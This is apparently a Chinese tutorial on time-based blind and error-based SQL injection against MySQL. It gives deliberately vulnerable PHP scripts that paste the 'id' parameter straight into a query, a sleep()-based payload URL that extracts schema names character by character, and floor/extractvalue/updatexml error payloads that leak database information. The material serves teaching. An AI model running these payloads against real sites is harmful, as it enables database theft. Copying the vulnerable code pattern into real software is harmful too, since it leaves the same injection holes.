目录
基于时间的盲注例子:
修改代码,无论传入的参数值是否存在或者是SQL语句运行错误都统一输出hello mysql,因为返回的状态只有一种,无法通过布尔真假进行判断,此时可以用时间延迟进行判断,如果运行了时间延迟函数,那么网页会暂停一段时间在返回,此时可以通过网页返回的时间长短进行判断。
- <?php
- header('content-type:text/html;charset=utf-8');
- @$id=$_GET['id']; //传参
- if(!isset($id)){
- die('请传入GET方法id参数值');
- }
- $mysqli=new mysqli();
- $mysqli->connect('localhost','root','root');
- if($mysqli->connect_errno){
- die('连接数据库失败:'.$mysqli->connect_error);
- }
- $mysqli->select_db('user');
- if($mysqli->errno){
- die('打开数据库失败:'.$mysqli->error);
- }
- $mysqli->set_charset('utf8');
- $sql="SELECT username,passwd FROM users WHERE id={$id} limit 0,1";
- $result=$mysqli->query($sql);
- if(!$result){
- //die('执行SQL语句失败:'.$mysqli->error);
- echo 'hello mysql';
- }else if($result->num_rows==0){
- //echo '抱歉!不存在此记录';
- echo 'hello mysql';
- }else {
- //echo '存在此记录';
- echo 'hello mysql';
- }
注入步骤:
确认注入点
因为返回的信息都一样,不能通过运算符进行判断,插入sleep()函数,判断是否被执行。
网页确实超过5秒后才返回
猜解数据
接下来的猜解数据和布尔型盲注一样,只是条件判断变化了一下,不再是返回真假,而是运行sleep()函数,通过网页返回的时间进行判断,此注入需要耗费大量时间。
http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>97,sleep(5),0)%23 网页超过5秒后返回,说明第一个字符ascii码大于97
可以用二分搜索法、正则表达式法、按位比较法进行猜解数据。
报错注入例子:
如果网页输出了数据库错误信息,那么此时可以使用报错注入,不需要进行盲注逐字查询了。
此代码只会显示数据库错误信息,ID值是否存在都返回一种状态,此时除了时间盲注,还可以进行报错注入。
- <?php
- header('content-type:text/html;charset=utf-8');
- @$id=$_GET['id']; //传参
- if(!isset($id)){
- die('请传入GET方法id参数值');
- }
- $mysqli=new mysqli();
- $mysqli->connect('localhost','root','root');
- if($mysqli->connect_errno){
- die('连接数据库失败:'.$mysqli->connect_error);
- }
- $mysqli->select_db('user');
- if($mysqli->errno){
- die('打开数据库失败:'.$mysqli->error);
- }
- $mysqli->set_charset('utf8');
- $sql="SELECT username,passwd FROM users WHERE id={$id}";
- $result=$mysqli->query($sql);
- if(!$result){
- die('执行SQL语句失败:'.$mysqli->error);
- }else if($result->num_rows==0){
- echo 'hello word';
- }else {
- echo 'hello word';
- }
注入方法
可使用网上已存在报错函数的方法,直接套用即可。
1.floor()
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));
2.extractvalue()
select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from users where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));